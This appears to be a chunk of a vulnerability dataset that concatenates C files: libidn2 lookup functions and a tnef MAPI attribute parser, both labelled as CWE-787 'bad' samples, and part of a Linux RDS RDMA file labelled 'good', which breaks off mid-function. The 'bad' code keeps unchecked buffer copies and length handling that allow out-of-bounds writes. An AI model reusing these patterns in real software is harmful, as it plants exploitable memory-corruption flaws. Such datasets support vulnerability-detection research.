IDN2_MALLOC; return IDN2_ENCODING_ERROR; } *out = _out; } else free (domain_u32); return err; } /** * idn2_lookup_u8: * @src: input zero-terminated UTF-8 string in Unicode NFC normalized form. * @lookupname: newly allocated output variable with name to lookup in DNS. * @flags: optional #idn2_flags to modify behaviour. * * Perform IDNA2008 lookup string conversion on domain name @src, as * described in section 5 of RFC 5891. Note that the input string * must be encoded in UTF-8 and be in Unicode NFC form. * * Pass %IDN2_NFC_INPUT in @flags to convert input to NFC form before * further processing. %IDN2_TRANSITIONAL and %IDN2_NONTRANSITIONAL * do already imply %IDN2_NFC_INPUT. * Pass %IDN2_ALABEL_ROUNDTRIP in @flags to * convert any input A-labels to U-labels and perform additional * testing (not implemented yet). * Pass %IDN2_TRANSITIONAL to enable Unicode TR46 * transitional processing, and %IDN2_NONTRANSITIONAL to enable * Unicode TR46 non-transitional processing. Multiple flags may be * specified by binary or:ing them together. * * After version 2.0.3: %IDN2_USE_STD3_ASCII_RULES disabled by default. * Previously we were eliminating non-STD3 characters from domain strings * such as _443._tcp.example.com, or IPs 1.2.3.4/24 provided to libidn2 * functions. That was an unexpected regression for applications switching * from libidn and thus it is no longer applied by default. * Use %IDN2_USE_STD3_ASCII_RULES to enable that behavior again. * * After version 0.11: @lookupname may be NULL to test lookup of @src * without allocating memory. * * Returns: On successful conversion %IDN2_OK is returned, if the * output domain or any label would have been too long * %IDN2_TOO_BIG_DOMAIN or %IDN2_TOO_BIG_LABEL is returned, or * another error code is returned. * * Since: 0.1 **/ int idn2_lookup_u8 (const uint8_t * src, uint8_t ** lookupname, int flags) { size_t lookupnamelen = 0; uint8_t _lookupname[IDN2_DOMAIN_MAX_LENGTH + 1]; uint8_t _mapped[IDN2_DOMAIN_MAX_LENGTH + 1]; int rc; if (src == NULL) { if (lookupname) *lookupname = NULL; return IDN2_OK; } rc = set_default_flags(&flags); if (rc != IDN2_OK) return rc; if (!(flags & IDN2_NO_TR46)) { uint8_t *out; size_t outlen; rc = _tr46 (src, &out, flags); if (rc != IDN2_OK) return rc; outlen = u8_strlen (out); if (outlen >= sizeof (_mapped)) { free (out); return IDN2_TOO_BIG_DOMAIN; } memcpy (_mapped, out, outlen + 1); src = _mapped; free (out); } do { const uint8_t *end = (uint8_t *) strchrnul ((const char *) src, '.'); /* XXX Do we care about non-U+002E dots such as U+3002, U+FF0E and U+FF61 here? Perhaps when IDN2_NFC_INPUT? */ size_t labellen = end - src; uint8_t tmp[IDN2_LABEL_MAX_LENGTH]; size_t tmplen = IDN2_LABEL_MAX_LENGTH; rc = label (src, labellen, tmp, &tmplen, flags); if (rc != IDN2_OK) return rc; if (lookupnamelen + tmplen > IDN2_DOMAIN_MAX_LENGTH - (tmplen == 0 && *end == '\0' ? 1 : 2)) return IDN2_TOO_BIG_DOMAIN; memcpy (_lookupname + lookupnamelen, tmp, tmplen); lookupnamelen += tmplen; if (*end == '.') { if (lookupnamelen + 1 > IDN2_DOMAIN_MAX_LENGTH) return IDN2_TOO_BIG_DOMAIN; _lookupname[lookupnamelen] = '.'; lookupnamelen++; } _lookupname[lookupnamelen] = '\0'; src = end; } while (*src++); if (lookupname) { uint8_t *tmp = (uint8_t *) malloc (lookupnamelen + 1); if (tmp == NULL) return IDN2_MALLOC; memcpy (tmp, _lookupname, lookupnamelen + 1); *lookupname = tmp; } return IDN2_OK; } /** * idn2_lookup_ul: * @src: input zero-terminated locale encoded string. * @lookupname: newly allocated output variable with name to lookup in DNS. * @flags: optional #idn2_flags to modify behaviour. * * Perform IDNA2008 lookup string conversion on domain name @src, as * described in section 5 of RFC 5891. Note that the input is assumed * to be encoded in the locale's default coding system, and will be * transcoded to UTF-8 and NFC normalized by this function. * * Pass %IDN2_ALABEL_ROUNDTRIP in @flags to convert any input A-labels * to U-labels and perform additional testing. Pass * %IDN2_TRANSITIONAL to enable Unicode TR46 transitional processing, * and %IDN2_NONTRANSITIONAL to enable Unicode TR46 non-transitional * processing. Multiple flags may be specified by binary or:ing them * together, for example %IDN2_ALABEL_ROUNDTRIP | * %IDN2_NONTRANSITIONAL. The %IDN2_NFC_INPUT in @flags is always * enabled in this function. * * After version 0.11: @lookupname may be NULL to test lookup of @src * without allocating memory. * * Returns: On successful conversion %IDN2_OK is returned, if * conversion from locale to UTF-8 fails then %IDN2_ICONV_FAIL is * returned, if the output domain or any label would have been too * long %IDN2_TOO_BIG_DOMAIN or %IDN2_TOO_BIG_LABEL is returned, or * another error code is returned. * * Since: 0.1 **/ int idn2_lookup_ul (const char * src, char ** lookupname, int flags) { uint8_t *utf8src = NULL; int rc; if (src) { const char *encoding = locale_charset (); utf8src = u8_strconv_from_encoding (src, encoding, iconveh_error); if (!utf8src) { if (errno == ENOMEM) return IDN2_MALLOC; return IDN2_ICONV_FAIL; } } rc = idn2_lookup_u8 (utf8src, (uint8_t **) lookupname, flags | IDN2_NFC_INPUT); free (utf8src); return rc; } /** * idn2_to_ascii_4i: * @input: zero terminated input Unicode (UCS-4) string. * @inlen: number of elements in @input. * @output: pointer to newly allocated zero-terminated output string. * @flags: optional #idn2_flags to modify behaviour. * * The ToASCII operation takes a sequence of Unicode code points that make * up one domain label and transforms it into a sequence of code points in * the ASCII range (0..7F). If ToASCII succeeds, the original sequence and * the resulting sequence are equivalent labels. * * It is important to note that the ToASCII operation can fail. * ToASCII fails if any step of it fails. If any step of the * ToASCII operation fails on any label in a domain name, that domain * name MUST NOT be used as an internationalized domain name. * The method for dealing with this failure is application-specific. * * The inputs to ToASCII are a sequence of code points. * * ToASCII never alters a sequence of code points that are all in the ASCII * range to begin with (although it could fail). Applying the ToASCII operation multiple * effect as applying it just once. * * The default behavior of this function (when flags are zero) is to apply * the IDNA2008 rules without the TR46 amendments. As the TR46 * non-transitional processing is nowadays ubiquitous, when unsure, it is * recommended to call this function with the %IDN2_NONTRANSITIONAL * and the %IDN2_NFC_INPUT flags for compatibility with other software. * * Return value: Returns %IDN2_OK on success, or error code. * * Since: 2.0.0 **/ int idn2_to_ascii_4i (const uint32_t * input, size_t inlen, char * output, int flags) { uint32_t *input_u32; uint8_t *input_u8, *output_u8; size_t length; int rc; if (!input) { if (output) *output = 0; return IDN2_OK; } input_u32 = (uint32_t *) malloc ((inlen + 1) * sizeof(uint32_t)); if (!input_u32) return IDN2_MALLOC; u32_cpy (input_u32, input, inlen); input_u32[inlen] = 0; input_u8 = u32_to_u8 (input_u32, inlen + 1, NULL, &length); free (input_u32); if (!input_u8) { if (errno == ENOMEM) return IDN2_MALLOC; return IDN2_ENCODING_ERROR; } rc = idn2_lookup_u8 (input_u8, &output_u8, flags); free (input_u8); if (rc == IDN2_OK) { /* wow, this is ugly, but libidn manpage states: * char * out output zero terminated string that must have room for at * least 63 characters plus the terminating zero. */ if (output) strcpy (output, (const char *) output_u8); free(output_u8); } return rc; } /** * idn2_to_ascii_4z: * @input: zero terminated input Unicode (UCS-4) string. * @output: pointer to newly allocated zero-terminated output string. * @flags: optional #idn2_flags to modify behaviour. * * Convert UCS-4 domain name to ASCII string using the IDNA2008 * rules. The domain name may contain several labels, separated by dots. * The output buffer must be deallocated by the caller. * * The default behavior of this function (when flags are zero) is to apply * the IDNA2008 rules without the TR46 amendments. As the TR46 * non-transitional processing is nowadays ubiquitous, when unsure, it is * recommended to call this function with the %IDN2_NONTRANSITIONAL * and the %IDN2_NFC_INPUT flags for compatibility with other software. * * Return value: Returns %IDN2_OK on success, or error code. * * Since: 2.0.0 **/ int idn2_to_ascii_4z (const uint32_t * input, char ** output, int flags) { uint8_t *input_u8; size_t length; int rc; if (!input) { if (output) *output = NULL; return IDN2_OK; } input_u8 = u32_to_u8 (input, u32_strlen(input) + 1, NULL, &length); if (!input_u8) { if (errno == ENOMEM) return IDN2_MALLOC; return IDN2_ENCODING_ERROR; } rc = idn2_lookup_u8 (input_u8, (uint8_t **) output, flags); free (input_u8); return rc; } /** * idn2_to_ascii_8z: * @input: zero terminated input UTF-8 string. * @output: pointer to newly allocated output string. * @flags: optional #idn2_flags to modify behaviour. * * Convert UTF-8 domain name to ASCII string using the IDNA2008 * rules. The domain name may contain several labels, separated by dots. * The output buffer must be deallocated by the caller. * * The default behavior of this function (when flags are zero) is to apply * the IDNA2008 rules without the TR46 amendments. As the TR46 * non-transitional processing is nowadays ubiquitous, when unsure, it is * recommended to call this function with the %IDN2_NONTRANSITIONAL * and the %IDN2_NFC_INPUT flags for compatibility with other software. * * Return value: Returns %IDN2_OK on success, or error code. * * Since: 2.0.0 **/ int idn2_to_ascii_8z (const char * input, char ** output, int flags) { return idn2_lookup_u8 ((const uint8_t *) input, (uint8_t **) output, flags); } /** * idn2_to_ascii_lz: * @input: zero terminated input UTF-8 string. * @output: pointer to newly allocated output string. * @flags: optional #idn2_flags to modify behaviour. * * Convert a domain name in locale's encoding to ASCII string using the IDNA2008 * rules. The domain name may contain several labels, separated by dots. * The output buffer must be deallocated by the caller. * * The default behavior of this function (when flags are zero) is to apply * the IDNA2008 rules without the TR46 amendments. As the TR46 * non-transitional processing is nowadays ubiquitous, when unsure, it is * recommended to call this function with the %IDN2_NONTRANSITIONAL * and the %IDN2_NFC_INPUT flags for compatibility with other software. * * Returns: %IDN2_OK on success, or error code. * Same as described in idn2_lookup_ul() documentation. * * Since: 2.0.0 **/ int idn2_to_ascii_lz (const char * input, char ** output, int flags) { return idn2_lookup_ul (input, output, flags); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1197_0
crossvul-cpp_data_bad_3170_0
/* * mapi_attr.c -- Functions for handling MAPI attributes * * Copyright (C)1999-2006 Mark Simpson <damned@theworld.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2, or (at your option) * any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, you can either send email to this * program's maintainer or write to: The Free Software Foundation, * Inc.; 59 Temple Place, Suite 330; Boston, MA 02111-1307, USA. * */ #ifdef HAVE_CONFIG_H # include "config.h" #endif /* HAVE_CONFIG_H */ #include "common.h" #include "mapi_attr.h" #include "alloc.h" #include "options.h" #include "util.h" #include "write.h" /* return the length padded to a 4 byte boundary */ static size_t pad_to_4byte (size_t length) { return (length+3) & ~3; } /* Copy the GUID data from a character buffer */ static void copy_guid_from_buf (GUID* guid, unsigned char *buf, size_t len) { int i; int idx = 0; assert (guid); assert (buf); CHECKINT32(idx, len); guid->data1 = GETINT32(buf + idx); idx += sizeof (uint32); CHECKINT16(idx, len); guid->data2 = GETINT16(buf + idx); idx += sizeof (uint16); CHECKINT16(idx, len); guid->data3 = GETINT16(buf + idx); idx += sizeof (uint16); for (i = 0; i < 8; i++, idx += sizeof (uint8)) guid->data4[i] = (uint8)(buf[idx]); } /* dumps info about MAPI attributes... useful for debugging */ static void mapi_attr_dump (MAPI_Attr* attr) { char *name = get_mapi_name_str (attr->name); char *type = get_mapi_type_str (attr->type); size_t i; fprintf (stdout, "(MAPI) %s [type: %s] [num_values = %lu] = \n", name, type, (unsigned long)attr->num_values); if (attr->guid) { fprintf (stdout, "\tGUID: "); write_guid (stdout, attr->guid); fputc ('\n', stdout); } for (i = 0; i < attr->num_names; i++) fprintf (stdout, "\tname #%d: '%s'\n", (int)i, attr->names[i].data); for (i = 0; i < attr->num_values; i++) { fprintf (stdout, "\t#%lu [len: %lu] = ", (unsigned long)i, (unsigned long)attr->values[i].len); switch (attr->type) { case szMAPI_NULL: fprintf (stdout, "NULL"); break; case szMAPI_SHORT: write_int16 (stdout, (int16)attr->values[i].data.bytes2); break; case szMAPI_INT: write_int32 (stdout, (int32)attr->values[i].data.bytes4); break; case szMAPI_FLOAT: case szMAPI_DOUBLE: write_float (stdout, (float)attr->values[i].data.bytes4); break; case szMAPI_BOOLEAN: write_boolean (stdout, attr->values[i].data.bytes4); break; case szMAPI_STRING: case szMAPI_UNICODE_STRING: write_string (stdout, (char*)attr->values[i].data.buf); break; case szMAPI_SYSTIME: case szMAPI_CURRENCY: case szMAPI_INT8BYTE: case szMAPI_APPTIME: write_uint64 (stdout, attr->values[i].data.bytes8); break; case szMAPI_ERROR: write_uint32 (stdout, attr->values[i].data.bytes4); break; case szMAPI_CLSID: write_guid (stdout, &attr->values[i].data.guid); break; case szMAPI_OBJECT: case szMAPI_BINARY: { size_t x; for (x = 0; x < attr->values[i].len; x++) { write_byte (stdout, (uint8)attr->values[i].data.buf[x]); fputc (' ', stdout); } } break; default: fprintf (stdout, "<unknown type>"); break; } fprintf (stdout, "\n"); } fflush( NULL ); } static MAPI_Value* alloc_mapi_values (MAPI_Attr* a) { if (a && a->num_values) { a->values = CHECKED_XCALLOC (MAPI_Value, a->num_values); return a->values; } return NULL; } /* 2009/07/07 Microsoft documentation reference: [MS-OXPROPS] v 2.0, April 10, 2009 only multivalue types appearing are: szMAPI_INT, szMAPI_SYSTIME, szMAPI_UNICODE_STRING, szMAPI_BINARY */ /* parses out the MAPI attibutes hidden in the character buffer */ MAPI_Attr** mapi_attr_read (size_t len, unsigned char *buf) { size_t idx = 0; uint32 i,j; assert(len > 4); uint32 num_properties = GETINT32(buf+idx); MAPI_Attr** attrs = CHECKED_XMALLOC (MAPI_Attr*, (num_properties + 1)); idx += 4; if (!attrs) return NULL; for (i = 0; i < num_properties; i++) { MAPI_Attr* a = attrs[i] = CHECKED_XCALLOC(MAPI_Attr, 1); MAPI_Value* v = NULL; CHECKINT16(idx, len); a->type = GETINT16(buf+idx); idx += 2; CHECKINT16(idx, len); a->name = GETINT16(buf+idx); idx += 2; /* handle special case of GUID prefixed properties */ if (a->name & GUID_EXISTS_FLAG) { /* copy GUID */ a->guid = CHECKED_XMALLOC(GUID, 1); copy_guid_from_buf(a->guid, buf+idx, len); idx += sizeof (GUID); CHECKINT32(idx, len); a->num_names = GETINT32(buf+idx); idx += 4; if (a->num_names > 0) { /* FIXME: do something useful here! */ size_t i; a->names = CHECKED_XCALLOC(VarLenData, a->num_names); for (i = 0; i < a->num_names; i++) { size_t j; CHECKINT32(idx, len); a->names[i].len = GETINT32(buf+idx); idx += 4; /* read the data into a buffer */ a->names[i].data = CHECKED_XMALLOC(unsigned char, a->names[i].len); for (j = 0; j < (a->names[i].len >> 1); j++) a->names[i].data[j] = (buf+idx)[j*2]; /* But what are we going to do with it? */ idx += pad_to_4byte(a->names[i].len); } } else { /* get the 'real' name */ CHECKINT32(idx, len); a->name = GETINT32(buf+idx); idx+= 4; } } /* * Multi-value types and string/object/binary types have * multiple values */ if (a->type & MULTI_VALUE_FLAG || a->type == szMAPI_STRING || a->type == szMAPI_UNICODE_STRING || a->type == szMAPI_OBJECT || a->type == szMAPI_BINARY) { CHECKINT32(idx, len); a->num_values = GETINT32(buf+idx); idx += 4; } else { a->num_values = 1; } /* Amend the type in case of multi-value type */ if (a->type & MULTI_VALUE_FLAG) { a->type -= MULTI_VALUE_FLAG; } v = alloc_mapi_values (a); for (j = 0; j < a->num_values; j++) { switch (a->type) { case szMAPI_SHORT: /* 2 bytes */ v->len = 2; CHECKINT16(idx, len); v->data.bytes2 = GETINT16(buf+idx); idx += 4; /* assume padding of 2, advance by 4! */ break; case szMAPI_INT: /* 4 bytes */ v->len = 4; CHECKINT32(idx, len); v->data.bytes4 = GETINT32(buf+idx); idx += 4; v++; break; case szMAPI_FLOAT: /* 4 bytes */ case szMAPI_BOOLEAN: /* this should be 2 bytes + 2 padding */ v->len = 4; CHECKINT32(idx, len); v->data.bytes4 = GETINT32(buf+idx); idx += v->len; break; case szMAPI_SYSTIME: /* 8 bytes */ v->len = 8; CHECKINT32(idx, len); v->data.bytes8[0] = GETINT32(buf+idx); CHECKINT32(idx+4, len); v->data.bytes8[1] = GETINT32(buf+idx+4); idx += 8; v++; break; case szMAPI_DOUBLE: /* 8 bytes */ case szMAPI_APPTIME: case szMAPI_CURRENCY: case szMAPI_INT8BYTE: v->len = 8; CHECKINT32(idx, len); v->data.bytes8[0] = GETINT32(buf+idx); CHECKINT32(idx+4, len); v->data.bytes8[1] = GETINT32(buf+idx+4); idx += v->len; break; case szMAPI_CLSID: v->len = sizeof (GUID); copy_guid_from_buf(&v->data.guid, buf+idx, len); idx += v->len; break; case szMAPI_STRING: case szMAPI_UNICODE_STRING: case szMAPI_OBJECT: case szMAPI_BINARY: CHECKINT32(idx, len); v->len = GETINT32(buf+idx); idx += 4; if (a->type == szMAPI_UNICODE_STRING) { v->data.buf = (unsigned char*)unicode_to_utf8(v->len, buf+idx); } else { v->data.buf = CHECKED_XMALLOC(unsigned char, v->len); memmove (v->data.buf, buf+idx, v->len); } idx += pad_to_4byte(v->len); v++; break; case szMAPI_NULL: /* illegal in input tnef streams */ case szMAPI_ERROR: case szMAPI_UNSPECIFIED: fprintf (stderr, "Invalid attribute, input file may be corrupted\n"); if (!ENCODE_SKIP) exit (1); return NULL; default: /* should never get here */ fprintf (stderr, "Undefined attribute, input file may be corrupted\n"); if (!ENCODE_SKIP) exit (1); return NULL; } if (DEBUG_ON) mapi_attr_dump (attrs[i]); } } attrs[i] = NULL; return attrs; } static void mapi_attr_free (MAPI_Attr* attr) { if (attr) { size_t i; for (i = 0; i < attr->num_values; i++) { if ((attr->type == szMAPI_STRING) || (attr->type == szMAPI_UNICODE_STRING) || (attr->type == szMAPI_BINARY)) { XFREE (attr->values[i].data.buf); } } if (attr->num_names > 0) { for (i = 0; i < attr->num_names; i++) { XFREE(attr->names[i].data); } XFREE(attr->names); } XFREE (attr->values); XFREE (attr->guid); memset (attr, '\0', sizeof (MAPI_Attr)); } } void mapi_attr_free_list (MAPI_Attr** attrs) { int i; for (i = 0; attrs && attrs[i]; i++) { mapi_attr_free (attrs[i]); XFREE (attrs[i]); } }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3170_0
crossvul-cpp_data_good_572_0
/* * Copyright (c) 2007 Oracle. All rights reserved. * * This software is available to you under a choice of one of two * licenses. You may choose to be licensed under the terms of the GNU * General Public License (GPL) Version 2, available from the file * COPYING in the main directory of this source tree, or the * OpenIB.org BSD license below: * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * */ #include <linux/pagemap.h> #include <linux/slab.h> #include <linux/rbtree.h> #include <linux/dma-mapping.h> /* for DMA_*_DEVICE */ #include "rds.h" /* * XXX * - build with sparse * - should we detect duplicate keys on a socket? hmm. * - an rdma is an mlock, apply rlimit? */ /* * get the number of pages by looking at the page indices that the start and * end addresses fall in. * * Returns 0 if the vec is invalid. It is invalid if the number of bytes * causes the address to wrap or overflows an unsigned int. This comes * from being stored in the 'length' member of 'struct scatterlist'. */ static unsigned int rds_pages_in_vec(struct rds_iovec *vec) { if ((vec->addr + vec->bytes <= vec->addr) || (vec->bytes > (u64)UINT_MAX)) return 0; return ((vec->addr + vec->bytes + PAGE_SIZE - 1) >> PAGE_SHIFT) - (vec->addr >> PAGE_SHIFT); } static struct rds_mr *rds_mr_tree_walk(struct rb_root *root, u64 key, struct rds_mr *insert) { struct rb_node **p = &root->rb_node; struct rb_node *parent = NULL; struct rds_mr *mr; while (*p) { parent = *p; mr = rb_entry(parent, struct rds_mr, r_rb_node); if (key < mr->r_key) p = &(*p)->rb_left; else if (key > mr->r_key) p = &(*p)->rb_right; else return mr; } if (insert) { rb_link_node(&insert->r_rb_node, parent, p); rb_insert_color(&insert->r_rb_node, root); refcount_inc(&insert->r_refcount); } return NULL; } /* * Destroy the transport-specific part of a MR. */ static void rds_destroy_mr(struct rds_mr *mr) { struct rds_sock *rs = mr->r_sock; void *trans_private = NULL; unsigned long flags; rdsdebug("RDS: destroy mr key is %x refcnt %u\n", mr->r_key, refcount_read(&mr->r_refcount)); if (test_and_set_bit(RDS_MR_DEAD, &mr->r_state)) return; spin_lock_irqsave(&rs->rs_rdma_lock, flags); if (!RB_EMPTY_NODE(&mr->r_rb_node)) rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); trans_private = mr->r_trans_private; mr->r_trans_private = NULL; spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (trans_private) mr->r_trans->free_mr(trans_private, mr->r_invalidate); } void __rds_put_mr_final(struct rds_mr *mr) { rds_destroy_mr(mr); kfree(mr); } /* * By the time this is called we can't have any more ioctls called on * the socket so we don't need to worry about racing with others. */ void rds_rdma_drop_keys(struct rds_sock *rs) { struct rds_mr *mr; struct rb_node *node; unsigned long flags; /* Release any MRs associated with this socket */ spin_lock_irqsave(&rs->rs_rdma_lock, flags); while ((node = rb_first(&rs->rs_rdma_keys))) { mr = rb_entry(node, struct rds_mr, r_rb_node); if (mr->r_trans == rs->rs_transport) mr->r_invalidate = 0; rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); RB_CLEAR_NODE(&mr->r_rb_node); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); rds_destroy_mr(mr); rds_mr_put(mr); spin_lock_irqsave(&rs->rs_rdma_lock, flags); } spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (rs->rs_transport && rs->rs_transport->flush_mrs) rs->rs_transport->flush_mrs(); } /* * Helper function to pin user pages. */ static int rds_pin_pages(unsigned long user_addr, unsigned int nr_pages, struct page **pages, int write) { int ret; ret = get_user_pages_fast(user_addr, nr_pages, write, pages); if (ret >= 0 && ret < nr_pages) { while (ret--) put_page(pages[ret]); ret = -EFAULT; } return ret; } static int __rds_rdma_map(struct rds_sock *rs, struct rds_get_mr_args *args, u64 *cookie_ret, struct rds_mr **mr_ret) { struct rds_mr *mr = NULL, *found; unsigned int nr_pages; struct page **pages = NULL; struct scatterlist *sg; void *trans_private; unsigned long flags; rds_rdma_cookie_t cookie; unsigned int nents; long i; int ret; if (rs->rs_bound_addr == 0 || !rs->rs_transport) { ret = -ENOTCONN; /* XXX not a great errno */ goto out; } if (!rs->rs_transport->get_mr) { ret = -EOPNOTSUPP; goto out; } nr_pages = rds_pages_in_vec(&args->vec); if (nr_pages == 0) { ret = -EINVAL; goto out; } /* Restrict the size of mr irrespective of underlying transport * To account for unaligned mr regions, subtract one from nr_pages */ if ((nr_pages - 1) > (RDS_MAX_MSG_SIZE >> PAGE_SHIFT)) { ret = -EMSGSIZE; goto out; } rdsdebug("RDS: get_mr addr %llx len %llu nr_pages %u\n", args->vec.addr, args->vec.bytes, nr_pages); /* XXX clamp nr_pages to limit the size of this alloc? */ pages = kcalloc(nr_pages, sizeof(struct page *), GFP_KERNEL); if (!pages) { ret = -ENOMEM; goto out; } mr = kzalloc(sizeof(struct rds_mr), GFP_KERNEL); if (!mr) { ret = -ENOMEM; goto out; } refcount_set(&mr->r_refcount, 1); RB_CLEAR_NODE(&mr->r_rb_node); mr->r_trans = rs->rs_transport; mr->r_sock = rs; if (args->flags & RDS_RDMA_USE_ONCE) mr->r_use_once = 1; if (args->flags & RDS_RDMA_INVALIDATE) mr->r_invalidate = 1; if (args->flags & RDS_RDMA_READWRITE) mr->r_write = 1; /* * Pin the pages that make up the user buffer and transfer the page * pointers to the mr's sg array. We check to see if we've mapped * the whole region after transferring the partial page references * to the sg array so that we can have one page ref cleanup path. * * For now we have no flag that tells us whether the mapping is * r/o or r/w. We need to assume r/w, or we'll do a lot of RDMA to * the zero page. */ ret = rds_pin_pages(args->vec.addr, nr_pages, pages, 1); if (ret < 0) goto out; nents = ret; sg = kcalloc(nents, sizeof(*sg), GFP_KERNEL); if (!sg) { ret = -ENOMEM; goto out; } WARN_ON(!nents); sg_init_table(sg, nents); /* Stick all pages into the scatterlist */ for (i = 0 ; i < nents; i++) sg_set_page(&sg[i], pages[i], PAGE_SIZE, 0); rdsdebug("RDS: trans_private nents is %u\n", nents); /* Obtain a transport specific MR. If this succeeds, the * s/g list is now owned by the MR. * Note that dma_map() implies that pending writes are * flushed to RAM, so no dma_sync is needed here. */ trans_private = rs->rs_transport->get_mr(sg, nents, rs, &mr->r_key); if (IS_ERR(trans_private)) { for (i = 0 ; i < nents; i++) put_page(sg_page(&sg[i])); kfree(sg); ret = PTR_ERR(trans_private); goto out; } mr->r_trans_private = trans_private; rdsdebug("RDS: get_mr put_user key is %x cookie_addr %p\n", mr->r_key, (void *)(unsigned long) args->cookie_addr); /* The user may pass us an unaligned address, but we can only * map page aligned regions. So we keep the offset, and build * a 64bit cookie containing <R_Key, offset> and pass that * around. */ cookie = rds_rdma_make_cookie(mr->r_key, args->vec.addr & ~PAGE_MASK); if (cookie_ret) *cookie_ret = cookie; if (args->cookie_addr && put_user(cookie, (u64 __user *)(unsigned long) args->cookie_addr)) { ret = -EFAULT; goto out; } /* Inserting the new MR into the rbtree bumps its * reference count. */ spin_lock_irqsave(&rs->rs_rdma_lock, flags); found = rds_mr_tree_walk(&rs->rs_rdma_keys, mr->r_key, mr); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); BUG_ON(found && found != mr); rdsdebug("RDS: get_mr key is %x\n", mr->r_key); if (mr_ret) { refcount_inc(&mr->r_refcount); *mr_ret = mr; } ret = 0; out: kfree(pages); if (mr) rds_mr_put(mr); return ret; } int rds_get_mr(struct rds_sock *rs, char __user *optval, int optlen) { struct rds_get_mr_args args; if (optlen != sizeof(struct rds_get_mr_args)) return -EINVAL; if (copy_from_user(&args, (struct rds_get_mr_args __user *)optval, sizeof(struct rds_get_mr_args))) return -EFAULT; return __rds_rdma_map(rs, &args, NULL, NULL); } int rds_get_mr_for_dest(struct rds_sock *rs, char __user *optval, int optlen) { struct rds_get_mr_for_dest_args args; struct rds_get_mr_args new_args; if (optlen != sizeof(struct rds_get_mr_for_dest_args)) return -EINVAL; if (copy_from_user(&args, (struct rds_get_mr_for_dest_args __user *)optval, sizeof(struct rds_get_mr_for_dest_args))) return -EFAULT; /* * Initially, just behave like get_mr(). * TODO: Implement get_mr as wrapper around this * and deprecate it. */ new_args.vec = args.vec; new_args.cookie_addr = args.cookie_addr; new_args.flags = args.flags; return __rds_rdma_map(rs, &new_args, NULL, NULL); } /* * Free the MR indicated by the given R_Key */ int rds_free_mr(struct rds_sock *rs, char __user *optval, int optlen) { struct rds_free_mr_args args; struct rds_mr *mr; unsigned long flags; if (optlen != sizeof(struct rds_free_mr_args)) return -EINVAL; if (copy_from_user(&args, (struct rds_free_mr_args __user *)optval, sizeof(struct rds_free_mr_args))) return -EFAULT; /* Special case - a null cookie means flush all unused MRs */ if (args.cookie == 0) { if (!rs->rs_transport || !rs->rs_transport->flush_mrs) return -EINVAL; rs->rs_transport->flush_mrs(); return 0; } /* Look up the MR given its R_key and remove it from the rbtree * so nobody else finds it. * This should also prevent races with rds_rdma_unuse. */ spin_lock_irqsave(&rs->rs_rdma_lock, flags); mr = rds_mr_tree_walk(&rs->rs_rdma_keys, rds_rdma_cookie_key(args.cookie), NULL); if (mr) { rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); RB_CLEAR_NODE(&mr->r_rb_node); if (args.flags & RDS_RDMA_INVALIDATE) mr->r_invalidate = 1; } spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); if (!mr) return -EINVAL; /* * call rds_destroy_mr() ourselves so that we're sure it's done by the time * we return. If we let rds_mr_put() do it it might not happen until * someone else drops their ref. */ rds_destroy_mr(mr); rds_mr_put(mr); return 0; } /* * This is called when we receive an extension header that * tells us this MR was used. It allows us to implement * use_once semantics */ void rds_rdma_unuse(struct rds_sock *rs, u32 r_key, int force) { struct rds_mr *mr; unsigned long flags; int zot_me = 0; spin_lock_irqsave(&rs->rs_rdma_lock, flags); mr = rds_mr_tree_walk(&rs->rs_rdma_keys, r_key, NULL); if (!mr) { pr_debug("rds: trying to unuse MR with unknown r_key %u!\n", r_key); spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); return; } if (mr->r_use_once || force) { rb_erase(&mr->r_rb_node, &rs->rs_rdma_keys); RB_CLEAR_NODE(&mr->r_rb_node); zot_me = 1; } spin_unlock_irqrestore(&rs->rs_rdma_lock, flags); /* May have to issue a dma_sync on this memory region. * Note we could avoid this if the operation was a RDMA READ, * but at this point we can't tell. */ if (mr->r_trans->sync_mr) mr->r_trans->sync_mr(mr->r_trans_private, DMA_FROM_DEVICE); /* If the MR was marked as invalidate, this will * trigger an async flush. */ if (zot_me) { rds_destroy_mr(mr); rds_mr_put(mr); } } void rds_rdma_free_op(struct rm_rdma_op *ro) { unsigned int i; for (i = 0; i < ro->op_nents; i++) { struct page *page = sg_page(&ro->op_sg[i]); /* Mark page dirty if it was possibly modified, which * is the case for a RDMA_READ which copies from remote * to local memory */ if (!ro->op_write) { WARN_ON(!page->mapping && irqs_disabled()); set_page_dirty(page); } put_page(page); } kfree(ro->op_notifier); ro->op_notifier = NULL; ro->op_active = 0; } void rds_atomic_free_op(struct rm_atomic_op *ao) { struct page *page = sg_page(ao->op_sg); /* Mark page dirty if it was possibly modified, which * is the case for a RDMA_READ which copies from remote * to local memory */ 